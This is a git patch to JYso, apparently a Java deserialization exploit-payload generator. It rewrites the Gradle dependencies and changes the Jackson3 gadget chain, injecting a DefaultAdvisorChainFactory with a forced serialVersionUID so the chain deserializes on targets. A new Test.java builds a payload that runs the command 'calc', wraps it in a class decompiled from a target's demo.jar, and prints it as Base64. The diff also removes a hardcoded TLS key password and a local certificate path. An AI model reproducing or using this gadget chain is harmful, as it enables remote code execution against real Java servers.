From 2431b0643e9c71a1864fbeaafae24cb0f8a97c23 Mon Sep 17 00:00:00 2001 From: qi4L Date: Wed, 10 Sep 2025 22:23:03 +0800 Subject: [PATCH] feat: I helped YJ --- build.gradle | 124 +++++++++--------- gradle/libs.versions.toml | 122 +---------------- .../com/qi4l/JYso/gadgets/Config/Config.java | 6 +- .../java/com/qi4l/JYso/gadgets/Jackson3.java | 9 ++ .../java/com/example/demo/demos/web/Test.java | 28 ++++ .../com/example/demo/demos/web/secCig.java | 22 ++++ 6 files changed, 128 insertions(+), 183 deletions(-) create mode 100644 src/test/java/com/example/demo/demos/web/Test.java create mode 100644 src/test/java/com/example/demo/demos/web/secCig.java diff --git a/build.gradle b/build.gradle index dd77ded..27adc32 100644 --- a/build.gradle +++ b/build.gradle @@ -26,65 +26,69 @@ shadowJar { } dependencies { - api libs.io.projectreactor.reactor.core - api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc - api libs.org.glassfish.tyrus.tyrus.server - api libs.org.javassist.javassist - api libs.xerces.xercesimpl - api libs.com.fasterxml.jackson.core.jackson.databind - api libs.com.teradata.jdbc.terajdbc - api libs.jboss.jboss.serialization - api libs.org.apache.wicket.wicket.util - api libs.com.vaadin.vaadin.server - api libs.org.apache.myfaces.core.myfaces.impl - api libs.rhino.js - api libs.rome.rome - api libs.com.alibaba.fastjson - api libs.com.alibaba.fastjson2.fastjson2 - api libs.org.jenkins.ci.main.remoting - api libs.org.jboss.weld.weld.core - api libs.org.jboss.remoting.jboss.remoting - api libs.org.jboss.remotingjmx.remoting.jmx - api libs.org.jboss.interceptor.jboss.interceptor.core - api libs.org.jboss.interceptor.jboss.interceptor.spi - api libs.org.python.jython.standalone - api libs.org.hibernate.hibernate.core - api libs.org.fusesource.jansi.jansi - api libs.commons.cli.commons.cli - api libs.org.apache.commons.commons.lang3 - api libs.org.apache.logging.log4j.log4j.core - api libs.org.springframework.spring.core - api libs.org.springframework.spring.beans - api libs.org.springframework.spring.web - api libs.org.springframework.spring.oxm - api libs.org.springframework.spring.tx - api libs.org.springframework.spring.jdbc - api libs.org.springframework.spring.webmvc - api libs.org.springframework.spring.aop - api libs.org.springframework.spring.context.support - api libs.org.springframework.spring.test - api libs.javax.servlet.javax.servlet.api - api libs.com.mchange.c3p0 - api libs.org.apache.tomcat.embed.tomcat.embed.core - api libs.org.ow2.asm.asm - api libs.com.unboundid.unboundid.ldapsdk - api libs.com.nqzero.permit.reflect - api libs.net.jodah.expiringmap - api libs.org.reflections.reflections - api libs.org.beanshell.bsh - api libs.io.undertow.undertow.core - api libs.io.undertow.undertow.servlet - api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec - api libs.com.beust.jcommander - api libs.org.codehaus.groovy.groovy - api libs.org.apache.commons.commons.text - api libs.org.eclipse.jetty.jetty.ant - api libs.org.apache.maven.plugins.maven.assembly.plugin - api libs.org.apache.click.click.nodeps - api libs.org.clojure.clojure - api libs.cn.hutool.hutool.all - api libs.javax.websocket.javax.websocket.api - api libs.com.caucho.resin + implementation 'cn.hutool:hutool-all:5.7.7' + implementation 'com.alibaba:fastjson:1.2.83' + implementation 'com.alibaba.fastjson2:fastjson2:2.0.26' + implementation 'com.beust:jcommander:1.78' + implementation 'com.caucho:resin:4.0.65' + implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3' + implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10' + implementation 'com.mchange:c3p0:0.9.5.5' + implementation 'com.nqzero:permit-reflect:0.3' + implementation 'com.teradata.jdbc:terajdbc:20.00.00.06' + implementation 'com.unboundid:unboundid-ldapsdk:4.0.9' + implementation 'com.vaadin:vaadin-server:7.7.14' + implementation 'commons-cli:commons-cli:1.5.0' + implementation 'io.projectreactor:reactor-core:3.4.26' + implementation 'io.undertow:undertow-core:2.2.2.Final' + implementation 'io.undertow:undertow-servlet:2.2.2.Final' + implementation 'javax.servlet:javax.servlet-api:4.0.1' + implementation 'javax.websocket:javax.websocket-api:1.1' + implementation 'jboss:jboss-serialization:4.2.2.GA' + implementation 'net.jodah:expiringmap:0.5.9' + implementation 'org.apache.click:click-nodeps:2.3.0' + implementation 'org.apache.commons:commons-collections4:4.0' + implementation 'org.apache.commons:commons-lang3:3.12.0' + implementation 'org.apache.commons:commons-text:1.8' + implementation 'org.apache.logging.log4j:log4j-core:2.14.1' + implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0' + implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9' + implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58' + implementation 'org.apache.tomcat:tomcat-websocket:9.0.62' + implementation 'org.apache.wicket:wicket-util:6.23.0' + implementation 'org.aspectj:aspectjweaver:1.9.7' + implementation 'org.beanshell:bsh:2.0b5' + implementation 'org.clojure:clojure:1.8.0' + implementation 'org.codehaus.groovy:groovy:2.4.5' + implementation 'org.eclipse.jetty:jetty-ant:11.0.7' + implementation 'org.fusesource.jansi:jansi:2.4.0' + implementation 'org.glassfish.tyrus:tyrus-server:2.0.0' + implementation 'org.hibernate:hibernate-core:4.3.11.Final' + implementation 'org.javassist:javassist:3.29.2-GA' + implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final' + implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final' + implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final' + implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final' + implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final' + implementation 'org.jboss.weld:weld-core:1.1.33.Final' + implementation 'org.jenkins-ci.main:remoting:2.55' + implementation 'org.ow2.asm:asm:8.0.1' + implementation 'org.python:jython-standalone:2.5.2' + implementation 'org.reflections:reflections:0.9.10' + implementation 'org.springframework:spring-aop:5.2.3.RELEASE' + implementation 'org.springframework:spring-aop:5.2.3.RELEASE' + implementation 'org.springframework:spring-beans:5.2.3.RELEASE' + implementation 'org.springframework:spring-context-support:5.2.3.RELEASE' + implementation 'org.springframework:spring-core:5.2.3.RELEASE' + implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE' + implementation 'org.springframework:spring-oxm:5.2.3.RELEASE' + implementation 'org.springframework:spring-test:5.2.3.RELEASE' + implementation 'org.springframework:spring-tx:5.2.3.RELEASE' + implementation 'org.springframework:spring-web:5.2.3.RELEASE' + implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE' + implementation 'rhino:js:1.7R2' + implementation 'rome:rome:1.0' + implementation 'xerces:xercesImpl:2.12.0' implementation files('libs/jai-core-1.1.3.jar') implementation files('libs/weblogic-server.jar') @@ -115,6 +119,8 @@ dependencies { implementation 'commons-beanutils:commons-beanutils:1.9.4' + + runtimeOnly libs.org.aspectj.aspectjweaver compileOnly libs.org.apache.tomcat.tomcat.websocket } diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 2de1c0a..7882ca1 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -2,129 +2,9 @@ # https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format [versions] -cn-hutool-hutool-all = "5.7.7" -com-alibaba-fastjson = "1.2.83" -com-alibaba-fastjson2-fastjson2 = "2.0.26" -com-beust-jcommander = "1.78" -com-caucho-resin = "4.0.65" -com-fasterxml-jackson-core-jackson-databind = "2.11.3" -com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = "1.0.10" -com-mchange-c3p0 = "0.9.5.5" -com-nqzero-permit-reflect = "0.3" -com-teradata-jdbc-terajdbc = "20.00.00.06" -com-unboundid-unboundid-ldapsdk = "4.0.9" -com-vaadin-vaadin-server = "7.7.14" -commons-cli-commons-cli = "1.5.0" -io-projectreactor-reactor-core = "3.4.26" -io-undertow-undertow-core = "2.2.2.Final" -io-undertow-undertow-servlet = "2.2.2.Final" -javax-servlet-javax-servlet-api = "4.0.1" -javax-websocket-javax-websocket-api = "1.1" -jboss-jboss-serialization = "4.2.2.GA" -net-jodah-expiringmap = "0.5.9" -org-apache-click-click-nodeps = "2.3.0" -org-apache-commons-commons-collections4 = "4.0" -org-apache-commons-commons-lang3 = "3.12.0" -org-apache-commons-commons-text = "1.8" -org-apache-logging-log4j-log4j-core = "2.14.1" -org-apache-maven-plugins-maven-assembly-plugin = "3.0.0" -org-apache-myfaces-core-myfaces-impl = "2.2.9" -org-apache-tomcat-embed-tomcat-embed-core = "8.5.58" org-apache-tomcat-tomcat-websocket = "9.0.62" -org-apache-wicket-wicket-util = "6.23.0" org-aspectj-aspectjweaver = "1.9.7" -org-beanshell-bsh = "2.0b5" -org-clojure-clojure = "1.8.0" -org-codehaus-groovy-groovy = "2.4.5" -org-eclipse-jetty-jetty-ant = "11.0.7" -org-fusesource-jansi-jansi = "2.4.0" -org-glassfish-tyrus-tyrus-server = "2.0.0" -org-hibernate-hibernate-core = "4.3.11.Final" -org-javassist-javassist = "3.29.2-GA" -org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final" -org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final" -org-jboss-remoting-jboss-remoting = "4.0.19.Final" -org-jboss-remotingjmx-remoting-jmx = "2.0.1.Final" -org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = "1.0.3.Final" -org-jboss-weld-weld-core = "1.1.33.Final" -org-jenkins-ci-main-remoting = "2.55" -org-ow2-asm-asm = "8.0.1" -org-python-jython-standalone = "2.5.2" -org-reflections-reflections = "0.9.10" -org-springframework-spring-aop = "5.2.3.RELEASE" -org-springframework-spring-beans = "5.2.3.RELEASE" -org-springframework-spring-context-support = "5.2.3.RELEASE" -org-springframework-spring-core = "5.2.3.RELEASE" -org-springframework-spring-jdbc = "5.2.3.RELEASE" -org-springframework-spring-oxm = "5.2.3.RELEASE" -org-springframework-spring-test = "5.2.3.RELEASE" -org-springframework-spring-tx = "5.2.3.RELEASE" -org-springframework-spring-web = "5.2.3.RELEASE" -org-springframework-spring-webmvc = "5.2.3.RELEASE" -rhino-js = "1.7R2" -rome-rome = "1.0" -xerces-xercesimpl = "2.12.0" [libraries] -cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" } -com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" } -com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" } -com-beust-jcommander = { module = "com.beust:jcommander", version.ref = "com-beust-jcommander" } -com-caucho-resin = { module = "com.caucho:resin", version.ref = "com-caucho-resin" } -com-fasterxml-jackson-core-jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "com-fasterxml-jackson-core-jackson-databind" } -com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = { module = "com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc", version.ref = "com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc" } -com-mchange-c3p0 = { module = "com.mchange:c3p0", version.ref = "com-mchange-c3p0" } -com-nqzero-permit-reflect = { module = "com.nqzero:permit-reflect", version.ref = "com-nqzero-permit-reflect" } -com-teradata-jdbc-terajdbc = { module = "com.teradata.jdbc:terajdbc", version.ref = "com-teradata-jdbc-terajdbc" } -com-unboundid-unboundid-ldapsdk = { module = "com.unboundid:unboundid-ldapsdk", version.ref = "com-unboundid-unboundid-ldapsdk" } -com-vaadin-vaadin-server = { module = "com.vaadin:vaadin-server", version.ref = "com-vaadin-vaadin-server" } -commons-cli-commons-cli = { module = "commons-cli:commons-cli", version.ref = "commons-cli-commons-cli" } -io-projectreactor-reactor-core = { module = "io.projectreactor:reactor-core", version.ref = "io-projectreactor-reactor-core" } -io-undertow-undertow-core = { module = "io.undertow:undertow-core", version.ref = "io-undertow-undertow-core" } -io-undertow-undertow-servlet = { module = "io.undertow:undertow-servlet", version.ref = "io-undertow-undertow-servlet" } -javax-servlet-javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-javax-servlet-api" } -javax-websocket-javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-javax-websocket-api" } -jboss-jboss-serialization = { module = "jboss:jboss-serialization", version.ref = "jboss-jboss-serialization" } -net-jodah-expiringmap = { module = "net.jodah:expiringmap", version.ref = "net-jodah-expiringmap" } -org-apache-click-click-nodeps = { module = "org.apache.click:click-nodeps", version.ref = "org-apache-click-click-nodeps" } -org-apache-commons-commons-collections4 = { module = "org.apache.commons:commons-collections4", version.ref = "org-apache-commons-commons-collections4" } -org-apache-commons-commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "org-apache-commons-commons-lang3" } -org-apache-commons-commons-text = { module = "org.apache.commons:commons-text", version.ref = "org-apache-commons-commons-text" } -org-apache-logging-log4j-log4j-core = { module = "org.apache.logging.log4j:log4j-core", version.ref = "org-apache-logging-log4j-log4j-core" } -org-apache-maven-plugins-maven-assembly-plugin = { module = "org.apache.maven.plugins:maven-assembly-plugin", version.ref = "org-apache-maven-plugins-maven-assembly-plugin" } -org-apache-myfaces-core-myfaces-impl = { module = "org.apache.myfaces.core:myfaces-impl", version.ref = "org-apache-myfaces-core-myfaces-impl" } -org-apache-tomcat-embed-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "org-apache-tomcat-embed-tomcat-embed-core" } org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" } -org-apache-wicket-wicket-util = { module = "org.apache.wicket:wicket-util", version.ref = "org-apache-wicket-wicket-util" } -org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" } -org-beanshell-bsh = { module = "org.beanshell:bsh", version.ref = "org-beanshell-bsh" } -org-clojure-clojure = { module = "org.clojure:clojure", version.ref = "org-clojure-clojure" } -org-codehaus-groovy-groovy = { module = "org.codehaus.groovy:groovy", version.ref = "org-codehaus-groovy-groovy" } -org-eclipse-jetty-jetty-ant = { module = "org.eclipse.jetty:jetty-ant", version.ref = "org-eclipse-jetty-jetty-ant" } -org-fusesource-jansi-jansi = { module = "org.fusesource.jansi:jansi", version.ref = "org-fusesource-jansi-jansi" } -org-glassfish-tyrus-tyrus-server = { module = "org.glassfish.tyrus:tyrus-server", version.ref = "org-glassfish-tyrus-tyrus-server" } -org-hibernate-hibernate-core = { module = "org.hibernate:hibernate-core", version.ref = "org-hibernate-hibernate-core" } -org-javassist-javassist = { module = "org.javassist:javassist", version.ref = "org-javassist-javassist" } -org-jboss-interceptor-jboss-interceptor-core = { module = "org.jboss.interceptor:jboss-interceptor-core", version.ref = "org-jboss-interceptor-jboss-interceptor-core" } -org-jboss-interceptor-jboss-interceptor-spi = { module = "org.jboss.interceptor:jboss-interceptor-spi", version.ref = "org-jboss-interceptor-jboss-interceptor-spi" } -org-jboss-remoting-jboss-remoting = { module = "org.jboss.remoting:jboss-remoting", version.ref = "org-jboss-remoting-jboss-remoting" } -org-jboss-remotingjmx-remoting-jmx = { module = "org.jboss.remotingjmx:remoting-jmx", version.ref = "org-jboss-remotingjmx-remoting-jmx" } -org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = { module = "org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec", version.ref = "org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec" } -org-jboss-weld-weld-core = { module = "org.jboss.weld:weld-core", version.ref = "org-jboss-weld-weld-core" } -org-jenkins-ci-main-remoting = { module = "org.jenkins-ci.main:remoting", version.ref = "org-jenkins-ci-main-remoting" } -org-ow2-asm-asm = { module = "org.ow2.asm:asm", version.ref = "org-ow2-asm-asm" } -org-python-jython-standalone = { module = "org.python:jython-standalone", version.ref = "org-python-jython-standalone" } -org-reflections-reflections = { module = "org.reflections:reflections", version.ref = "org-reflections-reflections" } -org-springframework-spring-aop = { module = "org.springframework:spring-aop", version.ref = "org-springframework-spring-aop" } -org-springframework-spring-beans = { module = "org.springframework:spring-beans", version.ref = "org-springframework-spring-beans" } -org-springframework-spring-context-support = { module = "org.springframework:spring-context-support", version.ref = "org-springframework-spring-context-support" } -org-springframework-spring-core = { module = "org.springframework:spring-core", version.ref = "org-springframework-spring-core" } -org-springframework-spring-jdbc = { module = "org.springframework:spring-jdbc", version.ref = "org-springframework-spring-jdbc" } -org-springframework-spring-oxm = { module = "org.springframework:spring-oxm", version.ref = "org-springframework-spring-oxm" } -org-springframework-spring-test = { module = "org.springframework:spring-test", version.ref = "org-springframework-spring-test" } -org-springframework-spring-tx = { module = "org.springframework:spring-tx", version.ref = "org-springframework-spring-tx" } -org-springframework-spring-web = { module = "org.springframework:spring-web", version.ref = "org-springframework-spring-web" } -org-springframework-spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "org-springframework-spring-webmvc" } -rhino-js = { module = "rhino:js", version.ref = "rhino-js" } -rome-rome = { module = "rome:rome", version.ref = "rome-rome" } -xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" } \ No newline at end of file +org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index fb4a357..b45bf87 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -46,10 +46,10 @@ public class Config { public static boolean TLSProxy = false; @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5) public static String TLSPort = "1636"; - @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "TLS private key", order = 5) - public static String keyPass = "326q999h80s8"; + @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5) + public static String keyPass = ""; @Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5) - public static String certFile = "C:\\Users\\22393\\Downloads\\qi4l.top_jks\\qi4l.top.jks"; + public static String certFile = ""; @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) public static boolean jndi = false; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 8e96558..8ec3143 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -13,6 +13,7 @@ import org.springframework.aop.framework.AdvisedSupport; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; +import org.springframework.aop.framework.AdvisorChainFactory; import javax.swing.event.EventListenerList; import javax.xml.transform.Templates; @@ -33,6 +34,14 @@ public class Jackson3 implements ObjectPayload { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); + + POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory"))); + final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory"); + insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;"); + Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); + + advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); diff --git a/src/test/java/com/example/demo/demos/web/Test.java b/src/test/java/com/example/demo/demos/web/Test.java new file mode 100644 index 0000000..d0f9d2d --- /dev/null +++ b/src/test/java/com/example/demo/demos/web/Test.java @@ -0,0 +1,28 @@ +package com.example.demo.demos.web; + +import com.qi4l.JYso.gadgets.ObjectPayload; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.util.Base64; + +public class Test { + public static void main(String[] args) throws Exception { + final Class payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3"); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject("calc"); + + secCig rootObj = new secCig(); + rootObj.setMessage("qi4l"); + rootObj.setSecObject(object); + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(rootObj); + oos.close(); + + byte[] payloadBytes = baos.toByteArray(); + String base64Payload = Base64.getEncoder().encodeToString(payloadBytes); + System.out.println(base64Payload); + } +} diff --git a/src/test/java/com/example/demo/demos/web/secCig.java b/src/test/java/com/example/demo/demos/web/secCig.java new file mode 100644 index 0000000..56acade --- /dev/null +++ b/src/test/java/com/example/demo/demos/web/secCig.java @@ -0,0 +1,22 @@ +package com.example.demo.demos.web; + +import java.io.Serializable; + +/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */ +public class secCig implements Serializable { + private static final long serialVersionUID = 1; + public String message; + public Object secObject; + + public String toString() { + return "secCig{message='" + this.message + "'}"; + } + + public void setMessage(String message) { + this.message = message; + } + + public void setSecObject(Object secObject) { + this.secObject = secObject; + } +} \ No newline at end of file